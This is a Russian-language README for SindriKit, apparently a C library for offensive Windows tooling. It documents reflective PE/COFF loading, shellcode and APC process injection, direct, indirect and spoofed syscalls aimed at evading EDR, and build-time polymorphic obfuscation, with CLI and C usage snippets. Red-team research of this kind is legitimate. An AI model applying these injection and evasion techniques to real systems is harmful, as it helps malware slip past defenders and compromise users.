
SindriKit v2.0.0
Основополагающая библиотека на C для создания оперативно достоверных наступательных возможностей
SindriKit
Наступательная разработка заслуживает лучшей архитектуры.
Библиотека на C для создания наступательных возможностей.
Основная концепция
Большинство наступательных утилит жёстко зашивают механику выполнения внутри логики техники. Рефлективный загрузчик не просто отображает образ; он отображает его с использованием конкретной, жёстко заданной цепочки вызовов VirtualAlloc или нативных NTAPI. Когда EDR начинает отслеживать эту конкретную цепочку, вы вынуждены переписывать весь инструмент.
SindriKit решает эту проблему, обеспечивая разделение ответственности через таблицы абстракции интерфейсов:
- Логика техники: (например, загрузчики, инжекторы, патчеры) занимается отслеживанием состояния и оркестрацией данных. Она ничего не знает о том, как выделяется память или как создаются потоки.
- Механика выполнения: (например, Win32 API, Native NTAPI, Direct Syscalls) находится внутри независимых таблиц API и внедряется в технику во время выполнения.
Перенося механику выполнения в указатели на функции времени выполнения, вы можете заменить всю свою стратегию с вызовов Win32 на сырые прямые системные вызовы одной строкой кода — без изменения логики выполнения полезной нагрузки.
Архитектура дизайна
- Развязанные профили выполнения: Замена механики памяти, модулей, отображения, процессов, потоков и файлов через независимые таблицы указателей на функции (
snd_memory_api_t,snd_module_api_t,snd_process_api_t,snd_thread_api_t,snd_mapping_api_t,snd_file_api_t) без изменения логики техники. - Покрытие техник: Рефлективная загрузка PE (EXE/DLL) и COFF/BOF, классическая и early-bird APC инъекция поверх shellcode/PE/COFF, а также архитектурно-зависимый FFI и Heaven's Gate — всё поверх одних и тех же композируемых профилей.
- Каскадный конвейер системных вызовов: Подключаемые резолверы SSN (
snd_syscall_resolve_ssn_scan,snd_syscall_resolve_ssn_sort) с цепочкой приоритетов, развязанные от инвокеров: прямые, косвенные (гаджет NTDLL) или спуфированные (динамический спуфинг стека вызовов Fat-Frame). - Статус с кодированием средства: Каждый вызов, способный завершиться ошибкой, возвращает
snd_status_t— упакованный код средства/локальный код плюс захваченная ошибка ОС, со строками контекста, которые исключаются при компиляции в тихом уровне. - Обфускация времени компиляции: Алгоритмы хеширования строк и API (DJB2, FNV1A) можно глобально переключать через CMake. Компиляция автоматически рандомизирует глобальное зерно для изменения статических сигнатур.
- Движок мутаций: Обеспечивает глубокий полиморфизм через
SND_MORPH. Генерирует уникальные бинарные сигнатуры при каждой сборке, внедряя волатильные непрозрачные предикаты в код C, функционально эквивалентные математические операции/NOP в ассемблерные заглушки и перемешивая расположение в памяти ключевых структур. - Релизные сборки: Тихий уровень удаляет все диагностические строки, дескрипторы файлов и кадры отслеживания; сборки с
SND_CRTLESSидут дальше с/NODEFAULTLIB, без заголовков SDK, с фронтендом PEB и только нативными бэкендами.
Быстрый старт
Репозиторий поставляет единый CLI unified, который задействует каждый профиль:
build.bat pocs
build64\pocs\Release\unified.exe load pe -f payload.dll -e Run --sys
unified поддерживает load pe|coff, inject classic|apc|hijack (shell, PE, COFF) и hg, каждый поверх --win/--nt/--sys. См. Примеры и PoC и Начало работы.
Интеграция SindriKit
cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
Всего две строки, чтобы ваш инструмент унаследовал все возможности SindriKit: парсинг PE и COFF, рефлективную загрузку, каскадные системные вызовы и профили инъекции.
Движок
Слой абстракции API
┌────────────────────────────────────────────────────────────────────────────┐
│ ЛЮБОЕ НАСТУПАТЕЛЬНОЕ НАМЕРЕНИЕ │
│ Загрузчик · Инжектор · Спуфер · Патчер · Обходчик · Сборщик · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ СЛОЙ АБСТРАКЦИИ API SINDRIKIT │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ snd_mapping_api_t -> open · view · close (KnownDlls bootstrap) │
│ snd_thread_api_t -> queue_apc · resume · suspend │
│ snd_file_api_t -> load │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Профиль Win32 │ Нативный профиль │ Своя механика │
│ VirtualAlloc │ NtAllocateVirtual │ Драйвер · ROP · Экзотика │
│ LoadLibraryA │ PEB Walk + EAT │ Функции, заданные оператором │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
На практике это означает, что каждый домен следует одному и тому же контракту:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
Каскадный конвейер системных вызовов
SindriKit рассматривает разрешение системных вызовов как внедряемую механику, выстраивая стратегии в порядке приоритета. Движок перебирает их, пока одна не завершится успешно:
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// or for spoofed syscalls:
// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
Инвокер развязан от разрешения SSN — переключайтесь между прямыми, косвенными и спуфированными системными вызовами без изменения кода домена. Косвенный вызов переходит на легитимный гаджет NTDLL, так что адрес возврата остаётся внутри ntdll.dll; спуфированный вызов дополнительно помещает подлинный адрес возврата вызывающего внутри динамически обнаруженного "Fat Frame", так что развёртывание стека вызовов остаётся согласованным.
Гибкость алгоритмов времени компиляции
Каждое имя API и строка модуля удаляются из финального бинарника во время компиляции через одну переменную CMake: